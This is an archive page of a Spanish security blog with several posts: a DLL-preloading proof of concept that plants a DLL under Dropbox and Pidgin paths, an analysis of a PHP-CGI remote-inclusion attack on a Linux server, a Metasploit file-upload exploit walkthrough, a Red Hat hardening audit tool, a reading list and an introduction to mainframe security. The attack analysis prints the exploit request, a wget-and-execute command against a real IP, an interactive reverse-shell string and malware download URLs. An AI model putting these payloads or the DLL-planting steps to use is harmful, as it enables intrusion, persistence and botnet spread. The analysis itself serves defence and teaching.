01 agosto 2014

Ocultar malware usando ataques de precarga de DLL

Esta prueba de concepto que voy a explicar hoy, no es para nada algo nuevo, hace tiempo que se conoce y, que además se ha usado para atacar tanto empresas como usuarios. Es un tipo de ataque que, normalmente pasa bastante desapercibido. Ya que, no es las primeras cosas que se pone uno a investigar. Es por eso que, bien usado puede ser un quebradero de cabeza para un analista forense que le toque investigar el caso.

¿Cómo se da este fallo?

Ocurre cuando un programa hace llamadas a DLL sin definir bien el PATH o son llamadas que intenta acceder a PATHS que un usuario malintencionado podría modificar.
*Podéis encontrar más información aquí:

¿Qué es la precarga insegura de DLL?

Pues según Microsoft, la precarga insegura de DLL es:
“Cuando una aplicación carga dinámicamente una biblioteca de vínculos dinámicos (DLL) sin especificar una ruta de acceso completa, Windows intenta encontrar la DLL buscando en un conjunto bien definido de directorios. Si un atacante obtuviera el control de uno de los directorios, podría obligar a que la aplicación cargara una copia malintencionada de la DLL en lugar de la DLL que se esperaba. Estos ataques, conocidos como “ataques de precarga de DLL”, son habituales en todos los sistemas operativos que admiten la carga dinámica de bibliotecas DLL compartidas. El efecto de tales ataques podría ser que un atacante ejecutara código en el contexto del usuario que ejecuta la aplicación.”

¿Cómo detectar una llamada insegura de DLL?

Para poder encontrar este fallo en un programa, basta con usar la herramienta procmon de Windows Sysinternals: http://technet.microsoft.com/es-es/sysinternals/bb896645.aspx
Una vez descargada vamos a realizar la prueba con pidgin. Para ello abrimos procmon y filtramos por el proceso “pidgin”:


Ejecutamos pidgin y comprobamos que realmente aparecen las diferentes llamadas que hace pidgin al ejecutarse. Una vez ejecutado volvemos a filtrar, esta vez buscaremos por el resultado “PATH NOT FOUND” y filtraremos también el path por todo aquel string que contenga la palabra “dll”.


De esta manera deberán aparecer todas las llamadas a DLLs que han sido realizadas a paths inexistentes:


Ahora solo falta crear el directorio y plantar la DLL para que pidgin la ejecute y de esta manera poder plantar un programa malicioso de manera “silenciosa”.

PoC

Para las siguientes PoC he usado Dropbox y pidgin como un ejemplo de cómo usando estas llamadas inseguras he podido ocultar un “código malicioso” dentro de una DLL el cual es llamado cada vez que se ejecuta uno de estos 2 programas. Los pasos son los siguientes:

Dropbox
  • Descargar la siguiente dll: http://www.binaryplanting.com/demo/windows_address_book/wab32res.dll
  • Poner dentro de %APPDATA%\Dropbox\bin con el nombre ntmarta.dll
  • Ejecutar Dropbox
Pidgin*
  • Crear el siguiente Path %USERPROFILE%\.gtk-2.0\2.10.0\engines\
  • Descargar la siguiente dll:
  • http://www.binaryplanting.com/demo/windows_address_book/wab32res.dll
  • Copiar la dll dentro de la carpeta que hemos creado en el paso 1
  • Cambiar el nombre de la DLL a libwimp.dll
  • Ejecutar Pidgin
*Nota: Cabe destacar que el problema de pidgin viene por el uso de gtk y no del mismo pidgin.
Y aquí las imágenes de la PoC


Y una vez ejecutemos pidgin veremos la siguiente pantalla:


 Lo mismo pasa con dropbox:



Como se puede observar el fallo se puede ejecutar dentro del contexto del usuario y en el caso de Dropbox, esta DLL se ejecutaría cada vez que se iniciara el pc debido a que Dropbox crea un registro para que se ejecute en cada inicio del ordenador.

Esto desde el punto forense podría implicar complicaciones a la hora de encontrar el malware debido a que de entrada, el programa que llama a esta DLL es un programa benigno instalado por el mismo usuario y las librerías que llama están dentro de su path… por lo que a primera vista no debería parecer una llamada “maliciosa”…

Artículo cortesía de @NaxoneZ
Leer más...

30 julio 2014

¿Qué Linux no tiene malware? Marchando un ejemplo!




Entre los debates más manidos en los círculos de seguridad informática y administración de sistemas, junto a qué es el hacking, qué lenguaje es mejor para scripting, el responsible versus el full disclosure, nos encontramos con uno de los que podría ser trending topic: ¿Qué Sistema Operativo es mejor? Argumentos como la compatibilidad o la cantidad de software y drivers existentes, hacen que Windows se lleve la palma. Por contra la usabilidad, el cuidado diseño y el hardware utilizado nos invitan a quedarnos con Mac OS X. Sin embargo, los defensores de la estabilidad y la seguridad nos hacen decantarnos por Linux sin duda alguna. En este rifi rafe, claramente Windows es el que mayor catálogo de piezas de malware tiene, seguido de lejos por Linux y Mac. Pese a ser basados estos últimos en UNIX, cierto es que en Linux, al ser menos hermético que Mac, nos permite configurar mucho mejor la seguridad y entender qué está haciendo el sistema operativo en cada momento. 

Sin embargo, y pese a que es cierto que el porcentaje de malware y de vulnerabilidades no es tan popular en los entornos del pingüino, el que esté libre de malware que tire la primera piedra.

Revisar los logs producidos por diferentes sistemas de seguridad perimetral es una de las tareas que todo entusiasta o integrante de un departamento de seguridad tiene que hacer de forma permanente. Ya no sólo por asegurar que todo está correcto, sino también por aprender de los ataques recibidos y dormir tranquilo sabiendo que todo ha sido bloqueado, o montar un gabinete de crisis para gestionar un incidente de seguridad.

En este caso, revisando los logs producidos por una sonda Snort, encargada de analizar el tráfico recibido por un servidor web (que como podréis imaginar, es de los servicios que más peticiones y más aberraciones recibe) me encontré con múltiples ocurrencias de un evento de tipo RFI (Remote File Inclusion): "SERVER-WEBAPP PHP-CGI remote file include attempt"





La parte interesante y complicada de ver a simple vista es el payload: POST /cgi-bin/php-cgi?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1

Como se puede ver, la petición viene “ofuscada” mediante URL Encoding, a fin de evadir precisamente a algunos IDS (e incluso WAFs). Realmente, el contenido de la URL en la petición POST es: POST /cgi-bin/php-cgi?-d+allow_url_include%3Don+-d+safe_mode%3Doff+-d+suhosin.simulation%3Don+-d+disable_functions%3D""+-d+open_basedir%3Dnone+-d+auto_prepend_file%3Dphp%3A%2F%2Finput+-d+cgi.force_redirect%3D0+-d+cgi.redirect_status_env%3D0+-n 

Es decir, configura de forma débil ciertos parámetros de PHP para ejecutar lo que viene en el POST DATA:




<?php system("wget http://219.122.43.173/sh -O /tmp/sh;sh /tmp/sh;rm -rf /tmp/sh");

Aha, o sea que lo que ejecuta, en el lado servidor es un: “Descarga el fichero sh que está en 219.122.43.173 (en Japón)  y déjalo en /tmp/sh, ejecútalo y bórralo sin dejar rastro”….

¿Qué tiene dentro el fichero sh? La curiosidad mató al gato, así que lo mejor para salir de dudas, es descargarlo y verlo:




Básicamente: Descárgate dentro del directorio /dev/shm (localización utilizada en Linux para memoria compartida, con formato tmpfs, es decir, donde a nadie se le ocurriría mirar) el fichero xx desde un servidor que está en Vietnam, hazlo "invisible" haciendo que empiece por '.' y ejecútalo. Descarga otro fichero llamado ru y otro llamado rr, y ejecuta ambos y bórralos de ahí. A partir de ahí mata un montón de procesos que están en memoria, y añade al cron la tarea de hacer esto semanalmente (por si alguien lo descubre y lo borra, así mantenemos la persistencia)  

Si analizamos uno a uno los tres binarios xx, ru y rr, se puede ver lo siguiente.

Si le hacemos un strings a “xx”, podemos ver varios indicios que dejan clara la funcionalidad del binario: un bot de IRC que permite hacer Denegación de Servicio a un host determinado backdoorizando la máquina en la que se ejecuta.





Si buscamos la cadena mágica "Kaiten wa Goraku” que aparece en el subset de strings mencionado arriba, nos lleva directos al código fuente del Backdoor Kaiten 

El fichero ru, es un fichero BASH que se descarga un fichero u otro dependiendo de la arquitectura del sistema 86.tgz o 64.tgz almacenados en un servidor que está en Hungría, descomprime el contenido y lo ejecuta:




Llegado a este punto, descargué 64.tgz y lo descomprimí. En concreto aparecieron tres ficheros: run, php y pnscan.

run es un script en BASH que contiene lo siguiente:



Es decir, genera un número aleatorio, y lanza el binario pnscan con parámetros que escanea rangos de red aleatorios.


De hecho, está claro que pnscan es un scanner de puertos, ya no sólo porque lo indique el nombre, sino que lo podemos comprobar en un strings del mismo

Usage: %s [] [{| } | ]
This program implements a multithreaded TCP port scanner.
More information may be found at:
        http://www.lysator.liu.se/~pen/pnscan
Command line options:
        -h             Display this information.
        -V             Print version.
        -d             Print debugging info.
        -s             Lookup and print hostnames.
        -i             Ignore case when scanning responses.
        -S             Enable shutdown mode.
        -l             Line oriented output.
        -w     Request string to send.
        -W   Hex coded request string to send.
        -r     Response string to look for.
        -R   Hex coded response string to look for.
        -L     Max bytes to print.
        -t      Connect/Write/Read timeout.
        -n    Concurrent worker threads limit.
%s: Invalid length specification: %s
%s: Invalid timeout specification: %s
%s: Invalid workers specification: %s
%s: unknown command line switch: -%c
%s: Failed search string setup: %s
%s: Missing or extra argument(s). Use '-h' for help.

%s: Invalid IP address range: %s

Y el fichero php descargado ¿para qué vale? Pues fundamentalmente, dentro de pnscan, se encuentra la resolución de esa incógnita:

./php --target %s --port 80 --protocol http --reverse-ip 12.8.8.8 --reverse-port 80

Es decir, cuando pnscan encuentra un servidor vulnerable, llama a php, que en su interior lleva el veneno que hace la petición:

POST %s?%%2D%%64+%%61%%6C%%6C%%6F%%77%%5F%%75%%72%%6C%%5F%%69%%6E%%63%%6C%%75%%64%%65%%3D%%6F%%6E+%%2D%%64+%%73%%61%%66%%65%%5F%%6D%%6F%%64%%65%%3D%%6F%%66%%66+%%2D%%64+%%73%%75%%68%%6F%%73%%69%%6E%%2E%%73%%69%%6D%%75%%6C%%61%%74%%69%%6F%%6E%%3D%%6F%%6E+%%2D%%64+%%64%%69%%73%%61%%62%%6C%%65%%5F%%66%%75%%6E%%63%%74%%69%%6F%%6E%%73%%3D%%22%%22+%%2D%%64+%%6F%%70%%65%%6E%%5F%%62%%61%%73%%65%%64%%69%%72%%3D%%6E%%6F%%6E%%65+%%2D%%64+%%61%%75%%74%%6F%%5F%%70%%72%%65%%70%%65%%6E%%64%%5F%%66%%69%%6C%%65%%3D%%70%%68%%70%%3A%%2F%%2F%%69%%6E%%70%%75%%74+%%2D%%64+%%63%%67%%69%%2E%%66%%6F%%72%%63%%65%%5F%%72%%65%%64%%69%%72%%65%%63%%74%%3D%%30+%%2D%%64+%%63%%67%%69%%2E%%72%%65%%64%%69%%72%%65%%63%%74%%5F%%73%%74%%61%%74%%75%%73%%5F%%65%%6E%%76%%3D%%30+%%2D%%6E HTTP/1.1
Host: %s
User-Agent: Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25
Content-Type: application/x-www-form-urlencoded
Content-Length: %d
Connection: close

Llama la atención también el valor de la variable $shell, de manera que cada vez que llama a Bash, deshabilite el registro de comandos ejecutados en el fichero .bash_history, así como el número de comandos ejecutados que se guardan en memoria, mira info del kernel y la arquitectura, qué usuarios tienen una sesión abierta en el sistema, y el id del usuario que está ejecutando la shell. Después de esto, dame una shell interactiva


$shell = 'unset HISTFILE; unset HISTSIZE; uname -a; w; id; /bin/sh -i';


Por tanto, podemos decir, que Kaiten, sigue el patrón de funcionamiento de cualquier malware:

1.-) Compromete el sistema, en este caso backdooriza la máquina Linux (para la que no hay malware, claro está ;D), borra sus huellas y trazas (incluso elimina el fichero /var/log/messages y modifica parámetros de syslog para que no registre eventos)
2.-) Busca forma de mantener persistencia al arranque o borrado, insertando una tarea programada en el cron del sistema,
3.-) Intenta propagarse a sí misma con un comportamiento de gusano, buscando servidores vulnerables a través de internet.

Para todo este proceso, utiliza diferentes servidores desplegados por Asia fundamentalmente (al menos la muestra que yo he analizado aquí): Japón, Vietnam, Korea,… e incluso Hungría para descargar los ficheros 86.tgz y 64.tgz. Googleando, dí con un par de versiones que tiran de otros dominios como http://member.pure-hearts.info/plugins/access.ssh/64.tgz y http://member.pure-hearts.info/plugins/access.ssh/86.tgz, claramente web vulneradas en las que los atancantes utilizan como repositorios de descarga de estos ficheros para otras muestras que estén escaneando internet, y de las que son eliminados los ficheros con una frecuencia mayor.

Y todo este tinglado, con una simple petición desde vaya usted a saber qué parte del mundo, hace que tu inocente servidor web, por estar mal configurado y securizado, pueda llegar a tener vida propia.
Leer más...

29 julio 2014

Módulo de Metasploit para aprovechar un FileUpload

Voy a continuar relatando mis aventuras por el mundo Metasploit del cual tengo que decir que está resultando ser más amigable en su desarrollo de lo que me había parecido en un principio.

En el artículo anterior vimos como crear un exploit local aprovechando un Buffer Overflow, así que en esta ocasión nos vamos a centrar en la explotación remota con un ejemplo de file upload en una aplicación Web, viendo de este modo un caso similar al de la vulnerabilidad detectada en el plugin Mailpoet para Wordpress que ha dejado expuestos a un buen número de servidores.

Preparando el entorno

Para el ejemplo he utilizado como entorno de pruebas la ISO Web for pentesters, este live CD nos creará un servidor Web dejándonos bastante margen para jugar con distintas vulnerabilidades:



Explotando la vulnerabilidad

Si accedemos al primer ejemplo de File Upload veremos un formulario de subida de ficheros que no nos presentará ningún reto a la hora de abusar de él.



No aplicará ningún tipo de control sobre el fichero subido a la Web y nos permitirá subir cualquier código PHP que se nos antoje:


Identificada la vulnerabilidad, lo siguiente que nos interesa es identificar los campos del formulario para construir el exploit:



Escribiendo el exploit

Vamos a verlo en detalle, os dejo su enlace a Pastebin 

Definición



A destacar de esta parte:
  • Especificamos que nuestro exploit es de tipo remoto
  • Incluimos la librería HttpClient para utilizar sus funciones durante la explotación
  • Definimos a través de la plataforma y arquitectura que vamos a construir un exploit para PHP
  • Registramos como opciones adicionales el path al formulario de subida y el nombre del fichero que se creará en el servidor, de este modo tenemos un exploit más genérico que podremos utilizar en otros escenarios

Función check

Crear la siguiente función nos permitirá utilizar el comando check desde la consola de MSF:



En este enlace tenéis los distintos valores que podemos devolver en esta función.

Función upload

Para dejar más claro el código he creado una función específica encargada de hacer la subida del fichero:



Si nos fijamos, aquí es donde ha entrado en juego los datos que recogimos del formulario:
  1. Creamos una variable data que contendrá el mensaje multiparte
  2. Incluimos el payload seleccionado por el usuario codificado en el campo image del formulario
  3. Añadimos el campo send del formulario
  4. Enviamos la petición utilizando la función send_request_cgi de la librería HttpClient que importamos al inicio
  5. Devolvemos la respuesta de la petición


Función exploit

Y finalmente la función exploit, que será llamada cuando ejecutemos el comando run o exploit desde la consola de MSF:


Desde esta función invocamos a upload para hacer la carga del fichero y comprobar que todo ha ido correctamente.

Un detalle a destacar de esta parte del código es la invocación a send_request_raw, su objetivo es ejecutar automáticamente el payload que acabamos de subir.


Ejecución del exploit


Cargamos y configuramos el exploit:


Comprobamos que el objetivo sea vulnerable:


Ejecutamos el exploit:


Y llegados a este punto ya podemos curiosear con más tranquilidad por el entorno:




Artículo cortesía de Miguel Ángel García
Leer más...

28 julio 2014

Auditando la seguridad de un servidor RedHat y sus derivados

Luego de unos cuantos años, por requerimientos de mi trabajo, tuve que retomar un viejo proyecto "checklistlinux", el cual tiene como objetivo verificar el hardening de un servidor RedHat o alguno de sus derivados comparando su configuración con mejores prácticas de seguridad.



Cabe aclarar que debía cumplir con ciertas pautas ya establecidas. Por este motivo no utilice "lynis" para la tarea. 

El proyecto está desarrollado en PERL y cuenta con 41 scripts que pertenecen a las fases que son ejecutadas durante el análisis. 

Las fases se dividen de la siguiente forma:
  • Fase 0.0 -- Información del Equipo
  • Fase 1.0 -- Información de los usuarios del sistema
  • Fase 1.1 -- Comprobación de Usuarios/Grupos
  • Fase 1.2 -- Verificar que no existan cuentas con password vacías
  • Fase 1.3 -- Verificar que no existan usuarios con ID 0
  • Fase 1.4 -- Verificación del archivo login.defs
  • Fase 1.5 -- Últimos usuarios agregados
  • Fase 1.6 -- Configuración PAM
  • Fase 1.7 -- Últimos usuarios conectados
  • Fase 1.8 -- Últimos comandos ejecutados por los usuarios
  • Fase 1.9 -- Relaciones de confianza
  • Fase 1.10 -- Usuarios con acceso al sistema
  • Fase 1.11 -- Verificar que no existan usuarios con Grupo ID 0
  • Fase 2.0 -- Eventos mediante Syslog - AUTHPRIV
  • Fase 2.1 -- Eventos mediante Rsyslog - AUTHPRIV
  • Fase 3.0 -- Verificar permisos en archivos y directorios
  • Fase 3.1 -- Verificación de Sticky Bit
  • Fase 3.2 -- Verificación de archivos con permisos de escritura para todos los usuarios
  • Fase 3.3 -- Verificación de suid/gsid
  • Fase 3.4 -- Verificación  de archivos sin usuario asignado y grupo
  • Fase 4.0 -- Archivo de autenticación ftp
  • Fase 5.0 -- Cierre de conexión automático
  • Fase 6.0 -- Banner personalizado
  • Fase 7.0 -- Verificación de la configuración del servicio ssh
  • Fase 8.0 -- Verificación  de SeLinux
  • Fase 9.0 -- Verificación  de IPTABLES
  • Fase 10.0 -- Verificación  de Servicios
  • Fase 11.0 -- Verificación  de Procesos
  • Fase 12.0 -- Verificación  de Conexiones
  • Fase 13.0 -- Verificación  de Hash de binarios
  • Fase 14.0 -- Configuración de Sudoers
  • Fase 15.0 -- Cron.Daily
  • Fase 16.0 -- Versiones de softwares
  • Fase 17.0 -- Configuración de Red
  • Fase 17.1 -- Verificación de rutas
  • Fase 17.2 -- Verificación configuración sysctl
  • Fase 18.0 -- Verificar el nivel de inittab
  • Fase 18.1 -- Verificar que no este activo ctrlaltdel en inittab
  • Fase 19.0 -- Verificar configuración samba
  • Fase 20.0 -- Verificar sincronización NTP
Comenzamos a describir el procedimiento de uso:
  1. Descargamos la herramienta: https://github.com/marcositu/redhatchecklist
  2. Luego debemos descomprimir el archivo "master.zip"
  3. Personalizamos algunos parámetros buscados.
    • Modificar la línea "20" del archivo /libs/fase6.pl donde se encuentra la variable "$bannerpersona" con el valor "Cable" por algún string que se encuentra en el banner personalizado de su Compañía. 
    • Modificar la línea "29" del archivo /libs/fase7.pl donde se encuentra la variable "ListenAddress" con el valor '10.246' por las direcciones IP que deben estar configuradas. 
  4. Luego, debemos copiar el archivo redhatchecklist.pl y el directorio /libs/ al servidor que será analizado.
  5. Una vez que tenemos los archivos en nuestro servidor, ejecutamos la herramienta para comenzar con el análisis.
    [root@miserver]# perl redhatchecklist.pl
  6. El último paso es copiar a nuestra computadora los 2 reportes HTML que nos generó la herramienta en la misma carpeta que tenemos los siguientes archivos y directorios:
  • /src/
  • /vendor/
  • demo.css
  • sprite.png
A continuación, les dejamos algunas capturas de pantalla de un análisis ejecutado:

Informe:

Descripción de un hallazgo:

Recomendación:

Si alguna persona quiere ayudarme a optimizar/organizar o reprogramar el "código" es bienvenida, como verán voluntad no me falto pero el código no es el mejor logrado.

Artículo cortesía de marcositu
    Leer más...

    27 julio 2014

    Enlaces de la SECmana - 234




    Leer más...

    25 julio 2014

    De 0 a profesional de la seguridad en 2 meses

    Es algo sistémico: siempre llegan al buzón de correo muchas preguntas relacionadas a cómo empezar en el mundo de la seguridad para dar el paso a la parte profesional.

    En muchas ocasiones son estudiantes, gente que está cursando ingenierías tecnológicas, y también hay un nutrido grupo de personas que trabajan en informática (desarrollo / sys admin) que les apetece iniciarse en este apasionante mundo, con la esperanza de convertirlo en su profesión.

    Sin duda hay mucha información en internet, muchos blogs, tutoriales, recursos, cursos y libros. Cada uno puede iniciarse como más se ajuste a su forma de mejorar sus 'skills', pero a mi particularmente me gusta seguir un método basado en libros. Creo que es el pilar sobre el que debería sustentarse toda formación. Un libro siempre va a estar ahí, es 'consultable' y se puede leer en modo diagonal (para luego incidir en temas específicos) o leerlo letra-por-letra.

    Dado que Chema, a través de la editorial 0xWord, ofrece un montón de interesantes packs de libros, me voy a tirar al ruedo y voy a crear mi propio pack llamado: De 0 a profesional de la seguridad en 2 meses

    Ahora que es verano y que a la gente le suele sobrar tiempo, es el momento ideal de aprovechar estos calurosos meses para dar un giro al expediente profesional. Asumiendo el criterio de 1 libro x 1 semana. 8 libros = 8 semanas = 2 meses

    Los libros que he seleccionado son bajo criterio personal, los habrá mejores, los habrá distintos, incluso el orden puede variar según gustos, pero, esta es mi elección:

    La base: Mucha gente cae una y otra vez en el error de empezar por libros de hacking e intentar dar el 'super salto' de la nada a un libro que hable de SQLI o exploiting. En mi humilde opinión es un fallo, aquí aplica el famoso 'dal cela pulil cela', antes de llegar a lo divertido, conviene tener una formación de base sobre seguridad en sistemas operativos lo más extensa posible. Antes de romper: saber como está fortificado.


    Para mi, el mejor libro sobre seguridad en Windows, todos los resortes, mecanismos y el conocimiento necesario sobre cómo funciona un sistema Windows

    Una vez estés harto de claves de registro, políticas de seguridad y ventanas, tu siguiente paso es cambiar todo eso por la línea de comandos, una shell y dominar al indómito Linux


    ¿Te han gustado los sistemas operativos? Todavía te falta un paso más antes de saltar al pentesting: Las redes. Es asombroso la cantidad de personas que llegan a adquirir un nivel muy respetable en pentesting que luego flaquean mucho en temas de red. Por eso, es importante entender cómo funciona IPV4 y el que se presupone será su descendiente IPV6


    Momento de empezar a sacar partido a los conocimientos que has adquirido y empezar a conocer herramientas para saber encontrar vulnerabilidades y explotarlas. Relájate, no es necesario que este libro lo termines en una semana, puedes dedicarle un poco más de tiempo. Lo merece


    El libro con el que, sin duda, más te vas a divertir. ¿El motivo? básicamente que hoy día hay miles y miles de sitios con este tipo de vulnerabilidades, apuesta a que en tu futura actividad profesional vas a rellenar mil informes con este tipo de vulnerabilidades.


    Una vez hayas terminado este libro, sentirás que se te han desbloqueado un montón de conocimientos que, hasta ese momento, pensabas que estaban reservados a un selecto grupo de personas. Ojo ! este libro requiere poner los 5 sentidos.


    En este punto deberías tener un conocimiento técnico muy elevado, conoces y dominas la forma en la que un sistema puede ser vulnerable, tanto a nivel Web como a nivel interno. Has usado un buen número de herramientas, pero ... como dice el anuncio: la potencia sin control no sirve de NADA. Y esto es 100% cierto en el mundo profesional. De nada vale tener un ninja si luego no es capaz de tener método y saber ser ordenado mentalmente para rematar un buen trabajo. Este libro te aportará orden mental y formas de presentar tu trabajo con estilo profesional.


    Por último, pero no por ello menos importante, creo que es de alta relevancia que un buen profesional de la seguridad adquiera conocimientos de informática forense. Es una disciplina muy 'CSI', en la que se puede desarrollar un alto grado de creatividad.
    Leer más...

    23 julio 2014

    'Casi todo' lo que necesitas saber sobre seguridad en Mainframes

    Hoy venimos a introducir brevemente, gracias a un portal más que recomendado, la seguridad en el mundo Mainframe. Ese gran desconocido por muchos, que impone un respeto tremendo por ser una tecnología poco accesible por la inmensa mayoría, y en la que pronto veremos como poder comenzar a jugar y trastear con ella. Como descripción muy preliminar, los sistemas Mainframes son utilizados para el procesamiento crítico de información en procesos muy complejos (estadística, censos, transacciones...), actualmente involucrados en sistemas y aplicaciones clave. Se suelen utilizar en bancos, administración pública, comercios, etc.

    Cabecera del portal de Philip Young, Soldier of Fortran

    Por el momento, os presentamos el tumblr del denominado Soldier of Fortran (o lo que es lo mismo, Philip Young), el cual tras dar diversas charlas en un buen conjunto de congresos de seguridad de todo el mundo (BlackHat, BSides, ShmooCon, SEC-T...), nos mantiene al día tanto con enlaces a documentos de seguridad, evidencias de lo conectados y accesibles que están estos sistemas a Internet, herramientas, y en definitiva, todo lo que se necesita saber si durante cualquier proceso de test de intrusión, nos topamos con un terminal tan oldschool lleno de letras verdes/blancas pidiéndonos introducir un logon tras darnos una gran bienvenida con un ASCII.

    Como os comento, y si todo va bien, poco a poco iremos presentando diferentes posts relacionados con la seguridad en Mainframes, desde la preparación de entornos de pruebas (porque probar temas en sistemas de producción reales puede llevar a alguien a muchos quebraderos de cabeza...) hasta la ejecución de herramientas que nos permitirán introducirnos en estos sistemas.

    Os recomendamos pasar por las páginas del tumblr de este soldado, así como por su github, ya que actualmente intenta mantener una base de datos con evidencias de sistemas Mainframe accesibles a través de internet. A esta iniciativa la ha llamado Internet Mainframes Project, y la verdad es que asusta el comprobar en algunas ocasiones para que entidades se destinan estos sistemas conectados...

    Un Mainframe conectado a internet, perteneciente al estado de Nuevo México

    Un Mainframe conectado a internet, perteneciente al sistema de Ferrocarril Mexicano
    Además, a continuación os incluimos enlaces a los videos de algunas de las charlas presentadas por Philip Young en BlackHat y BSides, así como SchmooCon, para que podáis ir abriendo boca sobre este tema. Personalmente opino que es un tema más que curioso y diferente a lo que estamos acostumbrados normalmente. El inconveniente es que cada vez van quedando menos en los parques tecnológicos de las compañías, sobretodo en España...pero para los amantes de lo vintage, como se dice ahora, todo es válido:





    Leer más...